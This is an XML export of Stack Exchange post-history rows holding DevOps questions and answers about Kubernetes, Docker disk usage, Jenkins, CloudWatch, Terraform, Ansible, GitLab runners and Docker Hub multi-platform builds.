  <row Id="39833" PostHistoryTypeId="2" PostId="12975" RevisionGUID="c3d4fa8f-de69-45f2-b2fa-93597d049508" CreationDate="2020-12-15T05:18:13.103" UserId="24583" Text="I cloned the [kubernetes][1]/kubernetes github repository and followed the given tasks to run the kubernetes cluster locally like&#xD;&#xA;&#xD;&#xA;mkdir -p $GOPATH/src/k8s.io&#xD;&#xA;cd $GOPATH/src/k8s.io&#xD;&#xA;git clone https://github.com/kubernetes/kubernetes&#xD;&#xA;cd kubernetes&#xD;&#xA;make&#xD;&#xA;and my startup hack/local-up-cluster.sh is failing with&#xD;&#xA;&#xD;&#xA;Waiting for apiserver to come up&#xD;&#xA;!!! [0524 22:38:39] Timed out waiting for apiserver:  to answer at https://127.0.0.1:6443/healthz; tried 60 waiting 1 between each&#xD;&#xA;check apiserver logs: /tmp/kube-apiserver.log&#xD;&#xA;Cleaning up...&#xD;&#xA;My logs can be found here: https://gist.github.com/PascalKu/6f671a45385d685228a269c0bcab00f4&#xD;&#xA;&#xD;&#xA;Know someone who can answer?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.opstrainerz.com/kubernetes-training" ContentLicense="CC BY-SA 4.0" />
  <row Id="39834" PostHistoryTypeId="1" PostId="12975" RevisionGUID="c3d4fa8f-de69-45f2-b2fa-93597d049508" CreationDate="2020-12-15T05:18:13.103" UserId="24583" Text="Kubernetes Cluster “healthz check failed” on macos" ContentLicense="CC BY-SA 4.0" />
  <row Id="39835" PostHistoryTypeId="3" PostId="12975" RevisionGUID="c3d4fa8f-de69-45f2-b2fa-93597d049508" CreationDate="2020-12-15T05:18:13.103" UserId="24583" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39836" PostHistoryTypeId="5" PostId="12969" RevisionGUID="c571d49c-c1f6-49fe-89c6-a34fbc4cc560" CreationDate="2020-12-15T05:41:36.387" UserId="8727" Comment="added 64 characters in body" Text="Yes, docker containers when they are running can take up some space as per your workload and application but as mentioned in the other answers - containers are built over layered filesystem therefore only extra space they consume is from some file/object they create/download during runtime which is not the part of base image like some debug log files, etc.&#xD;&#xA;&#xD;&#xA;For ex. - When you run 100 containers of a base image of size 1GB, docker will not consume 100 GB of disk space as it leverages layered filesystem and top immutable layer is shared across all containers of same image.&#xD;&#xA;&#xD;&#xA;When you stop and remove (yes!, remove explicitly or use `--rm` flag with `docker run` command) a container then it's space is reclaimed.&#xD;&#xA;&#xD;&#xA;To check space used by containers (and other objects), you can use:&#xD;&#xA;&#xD;&#xA;`$ docker system df` and for detailed info. use verbose flag `$ docker system df -v`&#xD;&#xA;&#xD;&#xA;Initially when you start a container the SIZE column will show 0B but as soon as you start writing to the disk SIZE will change.&#xD;&#xA;&#xD;&#xA;EDIT: added more info. as suggested by @Benjamin in comments" ContentLicense="CC BY-SA 4.0" />
  <row Id="39837" PostHistoryTypeId="2" PostId="12976" RevisionGUID="01a252b1-a811-47f3-b9df-5c88deda07a0" CreationDate="2020-12-15T06:20:06.660" UserId="25165" Text="We'd like to monitor the cron jobs through Loggly. Our app sends a log for all successful attempts of the cron job. We'd like to build a dashboard so that only missing cron jobs alone to be listed in the charts/dashboard. &#xD;&#xA;&#xD;&#xA;Eg. Let's say a cron job is scheduled to run every minute and if it doesn't attempt for any reason for 10 AM to 10:15 (UTC), I'd like to see them projected in the dashboard.&#xD;&#xA;&#xD;&#xA;I saw Loggly provides the ability to filter events but I'm not sure how to fetch missing events. Please suggest." ContentLicense="CC BY-SA 4.0" />
  <row Id="39838" PostHistoryTypeId="1" PostId="12976" RevisionGUID="01a252b1-a811-47f3-b9df-5c88deda07a0" CreationDate="2020-12-15T06:20:06.660" UserId="25165" Text="Is there a way to filter missing events in the sequence of events in Loggly?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39839" PostHistoryTypeId="3" PostId="12976" RevisionGUID="01a252b1-a811-47f3-b9df-5c88deda07a0" CreationDate="2020-12-15T06:20:06.660" UserId="25165" Text="&lt;logging&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39840" PostHistoryTypeId="2" PostId="12977" RevisionGUID="66103448-d7fd-4644-bead-1d1cc4f45855" CreationDate="2020-12-15T06:34:24.330" UserId="25164" Text="&#xD;&#xA;&#xD;&#xA;I have used log parser plug-in to find out the errors and warning and able to see it into console log(parsed) section over Jenkins. Now I have to send those parsed log file to recipient user. for mail I can use editable email notification in Jenkins with attached build log, but that is not sending parsed output of it which highlights errors and warning?&#xD;&#xA;&#xD;&#xA;However, instead of this, is there also a way that I can able to send only errors and warning files to them?&#xD;&#xA;&#xD;&#xA;I am also try to achieve it through groovy script but I am not able to fetch errorLinksFile/htmlLogFile which generates it in runtime.&#xD;&#xA;&#xD;&#xA;any other approach also helpful for me to get errorLinks file?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39841" PostHistoryTypeId="1" PostId="12977" RevisionGUID="66103448-d7fd-4644-bead-1d1cc4f45855" CreationDate="2020-12-15T06:34:24.330" UserId="25164" Text="How to send/get parsed console output file in jenkins?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39842" PostHistoryTypeId="3" PostId="12977" RevisionGUID="66103448-d7fd-4644-bead-1d1cc4f45855" CreationDate="2020-12-15T06:34:24.330" UserId="25164" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39843" PostHistoryTypeId="5" PostId="12977" RevisionGUID="7780930e-8e15-4de2-92c9-3f0efe11a720" CreationDate="2020-12-15T09:14:40.903" UserId="25164" Comment="added 7 characters in body" Text="&#xD;&#xA;&#xD;&#xA;I have used log parser plug-in to find out the errors and warning and able to see it into console log(parsed) section over Jenkins. Now I have to send those parsed log file to recipient user. To send mail them,  I can editable email notification in Jenkins with attached build log, but that is not sending parsed output of it which highlights errors and warning?&#xD;&#xA;&#xD;&#xA;However, instead of this, is there also a way that I can able to send only errors and warning files to them?&#xD;&#xA;&#xD;&#xA;I am also try to achieve it through groovy script but I am not able to fetch errorLinksFile/htmlLogFile which generates it in runtime.&#xD;&#xA;&#xD;&#xA;any other approach also helpful for me to get errorLinks file?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39844" PostHistoryTypeId="2" PostId="12978" RevisionGUID="90d819d9-d354-49ed-b199-60340243dc83" CreationDate="2020-12-15T10:04:30.750" UserId="4396" Text="A lambda that I have deployed has gone wrong. Therefore, I want to look on logs and find out whats wrong about it. Hence I look upon cloudwatch logs for any error message.&#xD;&#xA;&#xD;&#xA;But the cloudwatch environment allows no easy way to search for a string in logs. Therefore I need to download a portion of it in text format so I can `grep` string in it. Do you know how I can do that?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39845" PostHistoryTypeId="1" PostId="12978" RevisionGUID="90d819d9-d354-49ed-b199-60340243dc83" CreationDate="2020-12-15T10:04:30.750" UserId="4396" Text="How I can retrieve aws lambda cloudwatch logs in txt format so I can serch on them?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39846" PostHistoryTypeId="3" PostId="12978" RevisionGUID="90d819d9-d354-49ed-b199-60340243dc83" CreationDate="2020-12-15T10:04:30.750" UserId="4396" Text="&lt;amazon-web-services&gt;&lt;aws-lambda&gt;&lt;amazon-cloudwatch&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39849" PostHistoryTypeId="34" PostId="12924" RevisionGUID="8a16dc36-0e25-49f9-94cf-7e403b80d663" CreationDate="2020-12-15T12:03:25.397" UserId="-1" Comment="64" />
  <row Id="39850" PostHistoryTypeId="5" PostId="12955" RevisionGUID="2f428f3b-7e35-499d-b248-5207e75a3404" CreationDate="2020-12-15T15:36:17.013" UserId="7730" Comment="added 1036 characters in body" Text="&gt; does Docker actually clone the image&#xD;&#xA;&#xD;&#xA;Typically no, it uses a layered filesystem, by default that's overlay2 on my systems. A decent example of this comes from the [arch wiki](https://wiki.archlinux.org/index.php/Overlay_filesystem):&#xD;&#xA;&#xD;&#xA;&gt; - The lower directory can be read-only or could be an overlay itself.&#xD;&#xA;&gt; - The upper directory is normally writable.&#xD;&#xA;&gt; - The workdir is used to prepare files as they are switched between the layers.&#xD;&#xA;&gt; &#xD;&#xA;&gt; The lower directory can actually be a list of directories separated by&#xD;&#xA;&gt; :, all changes in the merged directory are still reflected in upper.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Example:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     # mount -t overlay overlay -o lowerdir=/lower1:/lower2:/lower3,upperdir=/upper,workdir=/work /merged&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;&gt; how can I see the actual disk space used by a container?&#xD;&#xA;&#xD;&#xA;Docker will show you the disk used by all containers in a `docker system df`.&#xD;&#xA;&#xD;&#xA;    $ docker system df&#xD;&#xA;    TYPE            TOTAL     ACTIVE    SIZE      RECLAIMABLE&#xD;&#xA;    Images          183       4         37.59GB   37.34GB (99%)&#xD;&#xA;    Containers      7         3         2.23kB    1.114kB (49%)&#xD;&#xA;    Local Volumes   10        1         4.816GB   305.8MB (6%)&#xD;&#xA;    Build Cache     511       0         20.49GB   20.49GB&#xD;&#xA;&#xD;&#xA;For a container, this number is not static (unlike images that are read only), so I don't think this shows in any of the inspect commands. But you can see the underlying filesystems used:&#xD;&#xA;&#xD;&#xA;    $ docker container inspect 056 --format '{{json .GraphDriver}}' | jq .&#xD;&#xA;    {&#xD;&#xA;      &quot;Data&quot;: {&#xD;&#xA;        &quot;LowerDir&quot;: &quot;/home/docker/overlay2/ba813e6876186f8792d263ced7dc912921870393a085644188a8adadcf73d3e6-init/diff:/home/docker/overlay2/22281f31287edf3342709add6123436540bd04dea60e474c961421e47b2dd58f/diff:/home/docker/overlay2/6a7a1eee38c2496928dff4741c2f9a1365f177a3e620ef7cf8adb816bba69b55/diff:/home/docker/overlay2/fcf371f07f06a42d328027281afb52c8044000cb51c4bb01a1f0dca2701062ec/diff:/home/docker/overlay2/89f8b12195e051bc439ac66d2bb299975884cdb229146dd570b1cac4011a08e6/diff:/home/docker/overlay2/d5a7a5c1c11746080d802b4dd076fd4d775099cb16b73d82c06db71e93b4e0c5/diff&quot;,&#xD;&#xA;        &quot;MergedDir&quot;: &quot;/home/docker/overlay2/ba813e6876186f8792d263ced7dc912921870393a085644188a8adadcf73d3e6/merged&quot;,&#xD;&#xA;        &quot;UpperDir&quot;: &quot;/home/docker/overlay2/ba813e6876186f8792d263ced7dc912921870393a085644188a8adadcf73d3e6/diff&quot;,&#xD;&#xA;        &quot;WorkDir&quot;: &quot;/home/docker/overlay2/ba813e6876186f8792d263ced7dc912921870393a085644188a8adadcf73d3e6/work&quot;&#xD;&#xA;      },&#xD;&#xA;      &quot;Name&quot;: &quot;overlay2&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;In this case, I can look at the disk usage of UpperDir to see how much space is used by that container:&#xD;&#xA;&#xD;&#xA;    $ sudo du -sh /home/docker/overlay2/ba813e6876186f8792d263ced7dc912921870393a085644188a8adadcf73d3e6/diff&#xD;&#xA;    80K     /home/docker/overlay2/ba813e6876186f8792d263ced7dc912921870393a085644188a8adadcf73d3e6/diff&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;The actual disk space used by a container includes the filesystem changes made by the container, since overlay is a copy-on-write filesystem. Each file changed is first copied to the container specific filesystem, even for a timestamp, permission, or owner change to the file metadata. This allows multiple containers to use the same immutable image layers without seeing changes made by the other containers.&#xD;&#xA;&#xD;&#xA;Docker also keeps container logs, stdout and stderr, for each container. These logs are by default unlimited.&#xD;&#xA;&#xD;&#xA;What you won't see is a full copy of the image filesystem, **unless** the overlay and similar graph drivers are unavailable to the docker engine. The fallback on an unsupported host filesystem, or kernel missing the needed features, is to use the `vfs` graph driver in docker, which I believe is the same as the `native` snapshotter in containerd. I see this happen occasionally with a docker-in-docker build environment where you cannot run an overlay filesystem on top of the overlay container filesystem (the fix there is typically to mount a volume that is on a supported filesystem outside of the container's overlay filesystem).&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39852" PostHistoryTypeId="2" PostId="12979" RevisionGUID="271ead60-db37-41b5-a6b0-58ecddca56d4" CreationDate="2020-12-15T23:24:07.380" UserId="22660" Text="I have two K8s clusters in the same VPC that I want to connect to an MySQL&#xD;&#xA;Aurora RDS cluster. One of the clusters can reach the RDS cluster just fine.&#xD;&#xA;The other, however, cannot. I'll call these `eks-cluster-working` and&#xD;&#xA;`eks-cluster-broken`.&#xD;&#xA;&#xD;&#xA;I have a security group allowing traffic to the cluster:&#xD;&#xA;&#xD;&#xA;| Type | Protocol | Port range | Source | Description |&#xD;&#xA;|------|----------|------------|--------|-------------|&#xD;&#xA;| MYSQL/Aurora | TCP | `3306` | `sg-1` (eks-cluster-sg-working) | This rule works | &#xD;&#xA;| MYSQL/Aurora | TCP | `3306` | `sg-2` (eks-cluster-sg-broken) | This one does not |&#xD;&#xA;&#xD;&#xA;Both `eks-cluster-working` and `eks-cluster-broken` have the same default&#xD;&#xA;security groups that AWS creates when making an EKS cluster and they are both&#xD;&#xA;on the same K8s version (1.18). The one exception is that `eks-cluster-working`&#xD;&#xA;has an extra security group for the load balancer service since it's hosting a&#xD;&#xA;web service and the other one (`eks-cluster-broken`) is not. Both clusters&#xD;&#xA;have outbound traffic rules that can reach `0.0.0.0/0`.&#xD;&#xA;&#xD;&#xA;I have zero firewalls, firewall policies and network firewall rule groups set&#xD;&#xA;up in the region the clusters are hosted in.&#xD;&#xA;&#xD;&#xA;This is the Terraform configuration I have set up for peering from my VPCs&#xD;&#xA;to the default VPC.&#xD;&#xA;&#xD;&#xA;```hcl&#xD;&#xA;resource &quot;aws_vpc_peering_connection&quot; &quot;default_to_environment&quot; {&#xD;&#xA;  count       = local.num_environment_vpcs&#xD;&#xA;  peer_vpc_id = data.aws_vpc.environment[count.index].id&#xD;&#xA;  auto_accept = true&#xD;&#xA;  vpc_id      = var.vpc_default_id&#xD;&#xA;&#xD;&#xA;  tags = {&#xD;&#xA;    Name      = &quot;Peer from default to ${data.aws_vpc.environment[count.index].tags[&quot;Name&quot;]}&quot;&#xD;&#xA;    tf_module = &quot;vpc&quot;&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;aws_route_table&quot; &quot;r&quot; {&#xD;&#xA;  vpc_id = var.vpc_default_id&#xD;&#xA;&#xD;&#xA;  # route = local.route_table_routes&#xD;&#xA;&#xD;&#xA;  route {&#xD;&#xA;    cidr_block = &quot;0.0.0.0/0&quot;&#xD;&#xA;    gateway_id = &quot;igw-&lt;number&gt;&quot;&#xD;&#xA;  }&#xD;&#xA;&#xD;&#xA;  dynamic route {&#xD;&#xA;    for_each = [for r in local.route_table_routes : {&#xD;&#xA;      cidr_block                = r.cidr_block&#xD;&#xA;      vpc_peering_connection_id = r.vpc_peering_connection_id&#xD;&#xA;    }]&#xD;&#xA;    content {&#xD;&#xA;      cidr_block                = route.value.cidr_block&#xD;&#xA;      vpc_peering_connection_id = route.value.vpc_peering_connection_id&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;&#xD;&#xA;  tags = {&#xD;&#xA;    Name = &quot;default to environment VPCs&quot;&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;## Expected result&#xD;&#xA;&#xD;&#xA;I expect `eks-cluster-broken` to be able to connect to the RDS cluster just&#xD;&#xA;like `eks-cluster-working` can.&#xD;&#xA;&#xD;&#xA;## Question&#xD;&#xA;&#xD;&#xA;What can cause this? Any suggestions as to how to go about debugging this?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39853" PostHistoryTypeId="1" PostId="12979" RevisionGUID="271ead60-db37-41b5-a6b0-58ecddca56d4" CreationDate="2020-12-15T23:24:07.380" UserId="22660" Text="K8s cluster in peered VPC can't reach RDS cluster" ContentLicense="CC BY-SA 4.0" />
  <row Id="39854" PostHistoryTypeId="3" PostId="12979" RevisionGUID="271ead60-db37-41b5-a6b0-58ecddca56d4" CreationDate="2020-12-15T23:24:07.380" UserId="22660" Text="&lt;amazon-web-services&gt;&lt;kubernetes&gt;&lt;networking&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39855" PostHistoryTypeId="2" PostId="12980" RevisionGUID="93b141e7-225c-45df-9af1-321d817f1b0a" CreationDate="2020-12-16T06:44:15.473" UserId="11581" Text="The company I work for wants to prevent provider lock-in adn therefore told us to use Terraform+Ansible instead of Cloudformation. We already decided to use terragrunt as an addon.&#xD;&#xA;While the motivation for the company decision is clear they didn't provide guidance how to achieve this and we have to find out on our own how to do this in an &quot;elegant&quot; way.&#xD;&#xA;&#xD;&#xA;In my scenario this means I use the two tools like this:&#xD;&#xA;&#xD;&#xA;Terraform:&#xD;&#xA;  - provision EC2 instances (Ubuntu 20.04 in this case)&#xD;&#xA;  - define security groups with ingress rules&#xD;&#xA;  - define host name aliases (assigning them is a weak spot, I will come back to this later)&#xD;&#xA;&#xD;&#xA;Ansible:&#xD;&#xA;  - install additional OS level components&#xD;&#xA;  - install and configure the application&#xD;&#xA;&#xD;&#xA;All of this will be run from a devops machine, after that I have a working application setup.&#xD;&#xA;But what happens when for example monitoring decides that one of ten instances is no longer healthy ? That component will then be nuked and created from scratch. In this scenario, how can I make sure that:&#xD;&#xA;&#xD;&#xA;- the replacement instance is configured using the same Ansible playbooks that were run before ?&#xD;&#xA;- host name aliases will be updated&#xD;&#xA;&#xD;&#xA;For the host name alias topic I have to give you a little bit more background on what we need. In one scenario we use an application that does not load balance. Because of this we create for example three instances which we assign aliases:&#xD;&#xA;&#xD;&#xA;    inst-one   -&gt; lg1.company.foo&#xD;&#xA;    inst-two   -&gt; lg2.company.foo&#xD;&#xA;    inst-three -&gt; lg3.company.foo&#xD;&#xA;&#xD;&#xA;Users access the instances using the aliases&#xD;&#xA;&#xD;&#xA;Let's assume that `inst-two` becomes unhealthy, then this will need to happen:&#xD;&#xA;&#xD;&#xA;    inst-one   -&gt; lg1.company.foo&#xD;&#xA;    inst-two   -&gt; terminated&#xD;&#xA;    inst-new   -&gt; lg2.company.foo&#xD;&#xA;    inst-three -&gt; lg3.company.foo&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39856" PostHistoryTypeId="1" PostId="12980" RevisionGUID="93b141e7-225c-45df-9af1-321d817f1b0a" CreationDate="2020-12-16T06:44:15.473" UserId="11581" Text="Using a combination of Terraform and Ansible to create dynamic AWS EC2 infrastructure" ContentLicense="CC BY-SA 4.0" />
  <row Id="39857" PostHistoryTypeId="3" PostId="12980" RevisionGUID="93b141e7-225c-45df-9af1-321d817f1b0a" CreationDate="2020-12-16T06:44:15.473" UserId="11581" Text="&lt;ansible&gt;&lt;terraform&gt;&lt;amazon-ec2&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39859" PostHistoryTypeId="2" PostId="12981" RevisionGUID="bacf0e31-ccc6-4abf-88f7-383f1b398c39" CreationDate="2020-12-16T08:28:46.693" UserId="25183" Text="Is there a way to give my terraformed github_repository a custom logo?&#xD;&#xA;&#xD;&#xA;The [doc][1] doesn't have a field for it, but is there an undocumented feature?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.terraform.io/docs/providers/github/r/repository.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="39860" PostHistoryTypeId="1" PostId="12981" RevisionGUID="bacf0e31-ccc6-4abf-88f7-383f1b398c39" CreationDate="2020-12-16T08:28:46.693" UserId="25183" Text="Define a repo logo via terraform github_repository" ContentLicense="CC BY-SA 4.0" />
  <row Id="39861" PostHistoryTypeId="3" PostId="12981" RevisionGUID="bacf0e31-ccc6-4abf-88f7-383f1b398c39" CreationDate="2020-12-16T08:28:46.693" UserId="25183" Text="&lt;terraform&gt;&lt;github&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39862" PostHistoryTypeId="2" PostId="12982" RevisionGUID="9cca1f92-9bd8-451f-983f-5628a671f780" CreationDate="2020-12-16T10:07:48.720" UserId="25185" Text="After having installed helm + gitlab runner from the gitlab GUI, the new runner is visible in the project that has connectivity with the cluster.&#xD;&#xA;What I don't understand from the gitlab documentation is how do you configure the new runner. You cannot use the gitlab-runner cli, because the runner in running in a pod, not on the host machine, right?&#xD;&#xA;&#xD;&#xA;I am not sure which part of the runner doc applies to my case. If you have already installed and configured a runner installed this way, from the GUI, please tell me how. Thank you.&#xD;&#xA;&#xD;&#xA;Gitlab 12.9.2" ContentLicense="CC BY-SA 4.0" />
  <row Id="39863" PostHistoryTypeId="1" PostId="12982" RevisionGUID="9cca1f92-9bd8-451f-983f-5628a671f780" CreationDate="2020-12-16T10:07:48.720" UserId="25185" Text="gitlab kubernernetes integration: configuring the installed runner" ContentLicense="CC BY-SA 4.0" />
  <row Id="39864" PostHistoryTypeId="3" PostId="12982" RevisionGUID="9cca1f92-9bd8-451f-983f-5628a671f780" CreationDate="2020-12-16T10:07:48.720" UserId="25185" Text="&lt;kubernetes&gt;&lt;gitlab&gt;&lt;cicd&gt;&lt;gitlab-ci-runner&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39865" PostHistoryTypeId="2" PostId="12983" RevisionGUID="c4f0cf4e-41d2-4962-b636-54702e9dde85" CreationDate="2020-12-16T15:51:15.540" UserId="22660" Text="In Admin Area -&gt; Overview -&gt; Runners, the instructions they give are:&#xD;&#xA;&#xD;&#xA;1. Install GitLab Runner&#xD;&#xA;1. Specify the following URL during the Runner setup: `https://&lt;your gitlab hostname&gt;/` &#xD;&#xA;1. Use the following registration token during setup: `&lt;insert-token-here&gt;` &#xD;&#xA;1. Start the Runner!&#xD;&#xA;&#xD;&#xA;_I'm on version 13.13.0 but I don't remember the instructions changing from version 12.x.x._&#xD;&#xA;&#xD;&#xA;As for your question regarding configuration, I'm a little bit confused if you're looking for something beyond those instructions. If you want to set up a runner specific to a project, you can go to a project then navigate to Settings -&gt; CI/CD -&gt; Runners -&gt; Specific Runners. There, there are more instructions on setting up project-specific runners." ContentLicense="CC BY-SA 4.0" />
  <row Id="39866" PostHistoryTypeId="5" PostId="12983" RevisionGUID="18f0a956-1695-49a7-ad19-469adeb5253d" CreationDate="2020-12-16T17:08:09.540" UserId="22660" Comment="added 315 characters in body" Text="In Admin Area -&gt; Overview -&gt; Runners, the instructions they give are:&#xD;&#xA;&#xD;&#xA;1. Install GitLab Runner&#xD;&#xA;1. Specify the following URL during the Runner setup: `https://&lt;your gitlab hostname&gt;/` &#xD;&#xA;1. Use the following registration token during setup: `&lt;insert-token-here&gt;` &#xD;&#xA;1. Start the Runner!&#xD;&#xA;&#xD;&#xA;_I'm on version 13.13.0 but I don't remember the instructions changing from version 12.x.x._&#xD;&#xA;&#xD;&#xA;As for your question regarding configuration, I'm a little bit confused if you're looking for something beyond those instructions. If you want to set up a runner specific to a project, you can go to a project then navigate to Settings -&gt; CI/CD -&gt; Runners -&gt; Specific Runners. There, there are more instructions on setting up project-specific runners.&#xD;&#xA;&#xD;&#xA;**EDIT**: The executor entirely depends on how the runner itself is installed. If it's installed on a kubernetes cluster, then it _must_ be the kubernetes executor. That will affect your pipeline. I think you can create another one if you install another one with the runner chart. You can also use Helm Tiller." ContentLicense="CC BY-SA 4.0" />
  <row Id="39867" PostHistoryTypeId="2" PostId="12984" RevisionGUID="1bea89d5-1393-4c8c-bf9e-f7eca7ae4721" CreationDate="2020-12-16T17:08:43.270" UserId="25194" Text="I try to make autobuild on Docker Hub from my repo on Github for two platforms (linux/arm64 and linux/amd64).&#xD;&#xA;&#xD;&#xA;I figured out, that I need directory `hooks` with file `build`, where I can overwrite default build command. I create this content:&#xD;&#xA;```bash&#xD;&#xA;#!/bin/bash&#xD;&#xA;&#xD;&#xA;export DOCKER_CLI_EXPERIMENTAL=enabled&#xD;&#xA;&#xD;&#xA;docker buildx create --use --driver docker-container&#xD;&#xA;docker buildx build --platform linux/amd64,linux/arm64 -f $DOCKERFILE_PATH -t $IMAGE_NAME . --push&#xD;&#xA;```&#xD;&#xA;And it generate only image linux/amd64. My guest is some problems occurred during build (which has status 'success'):&#xD;&#xA;```&#xD;&#xA;#11 [linux/arm64 3/3] RUN echo &quot;https://dl-cdn.alpinelinux.org/alpine/edge/t...&#xD;&#xA;#11 0.424 fetch http://dl-cdn.alpinelinux.org/alpine/v3.12/main/aarch64/APKINDEX.tar.gz&#xD;&#xA;#11 1.382 fetch http://dl-cdn.alpinelinux.org/alpine/v3.12/community/aarch64/APKINDEX.tar.gz&#xD;&#xA;#11 2.204 fetch https://dl-cdn.alpinelinux.org/alpine/edge/testing/aarch64/APKINDEX.tar.gz&#xD;&#xA;#11 3.326 v3.12.3-12-g15f1da04e4 [http://dl-cdn.alpinelinux.org/alpine/v3.12/main]&#xD;&#xA;#11 3.326 v3.12.3-12-g15f1da04e4 [http://dl-cdn.alpinelinux.org/alpine/v3.12/community]&#xD;&#xA;#11 3.326 v20200917-5516-ge059564c29 [https://dl-cdn.alpinelinux.org/alpine/edge/testing]&#xD;&#xA;#11 3.327 OK: 16528 distinct packages available&#xD;&#xA;#11 3.559 fetch http://dl-cdn.alpinelinux.org/alpine/v3.12/main/aarch64/APKINDEX.tar.gz&#xD;&#xA;#11 3.881 fetch http://dl-cdn.alpinelinux.org/alpine/v3.12/community/aarch64/APKINDEX.tar.gz&#xD;&#xA;#11 4.376 fetch https://dl-cdn.alpinelinux.org/alpine/edge/testing/aarch64/APKINDEX.tar.gz&#xD;&#xA;#11 5.365 (1/19) Installing pcre (8.44-r0)&#xD;&#xA;#11 5.606 (2/19) Installing grep (3.4-r0)&#xD;&#xA;#11 5.621 (3/19) Installing libmnl (1.0.4-r0)&#xD;&#xA;#11 5.627 (4/19) Installing libnftnl-libs (1.1.6-r0)&#xD;&#xA;#11 5.784 (5/19) Installing iptables (1.8.4-r2)&#xD;&#xA;#11 5.855 (6/19) Installing ppp-chat (2.4.8-r2)&#xD;&#xA;#11 5.868 (7/19) Installing ppp-daemon (2.4.8-r2)&#xD;&#xA;#11 5.901 (8/19) Installing ppp-radius (2.4.8-r2)&#xD;&#xA;#11 5.918 (9/19) Installing ppp-atm (2.4.8-r2)&#xD;&#xA;#11 5.930 (10/19) Installing ppp-pppoe (2.4.8-r2)&#xD;&#xA;#11 5.943 (11/19) Installing ppp-l2tp (2.4.8-r2)&#xD;&#xA;#11 5.956 (12/19) Installing ppp-winbind (2.4.8-r2)&#xD;&#xA;#11 5.968 (13/19) Installing ppp-passprompt (2.4.8-r2)&#xD;&#xA;#11 5.981 (14/19) Installing ppp-passwordfd (2.4.8-r2)&#xD;&#xA;#11 5.993 (15/19) Installing ppp-minconn (2.4.8-r2)&#xD;&#xA;#11 6.004 (16/19) Installing ppp (2.4.8-r2)&#xD;&#xA;#11 6.016 (17/19) Installing openfortivpn (1.15.0-r0)&#xD;&#xA;#11 6.162 (18/19) Installing openssl (1.1.1i-r0)&#xD;&#xA;#11 6.190 (19/19) Installing sed (4.8-r0)&#xD;&#xA;#11 6.210 Executing busybox-1.31.1-r19.trigger&#xD;&#xA;#11 6.214 ERROR: busybox-1.31.1-r19.trigger: script exited with error 1    &lt;=== here is some error&#xD;&#xA;#11 6.224 OK: 10 MiB in 33 packages&#xD;&#xA;#11 DONE 6.5s&#xD;&#xA;```&#xD;&#xA;If I make the same command on my PC (Windows 10, Docker version 20.10.0, build 7287ab3) I have no errors.&#xD;&#xA;&#xD;&#xA;I changed `build` file for use default driver (docker) and build only for linux/arm64:&#xD;&#xA;```bash&#xD;&#xA;#!/bin/bash&#xD;&#xA;&#xD;&#xA;export DOCKER_CLI_EXPERIMENTAL=enabled&#xD;&#xA;&#xD;&#xA;docker buildx create --use&#xD;&#xA;docker buildx build --platform linux/arm64 -f $DOCKERFILE_PATH -t $IMAGE_NAME . --push&#xD;&#xA;```&#xD;&#xA;And I have the same error, build shown as 'success' and new image pushed to Docker Hub (new digest) but os/arch is... linux/**amd**64, not linux/arm64.  Why?&#xD;&#xA;&#xD;&#xA;My goal is to build both linux/amd64 and linux/arm64 with autobuilds from Docker Hub.&#xD;&#xA;&#xD;&#xA;Docker page: https://hub.docker.com/repository/docker/netrunn3r/vpn-gateway  &#xD;&#xA;Github page: https://github.com/netrunn3r/vpn-gateway" ContentLicense="CC BY-SA 4.0" />
  <row Id="39868" PostHistoryTypeId="1" PostId="12984" RevisionGUID="1bea89d5-1393-4c8c-bf9e-f7eca7ae4721" CreationDate="2020-12-16T17:08:43.270" UserId="25194" Text="Multi-platform autobuild on Docker Hub - errors with linux/arm64" ContentLicense="CC BY-SA 4.0" />
  <row Id="39869" PostHistoryTypeId="3" PostId="12984" RevisionGUID="1bea89d5-1393-4c8c-bf9e-f7eca7ae4721" CreationDate="2020-12-16T17:08:43.270" UserId="25194" Text="&lt;docker&gt;&lt;dockerhub&gt;" ContentLicense="CC BY-SA 4.0" />
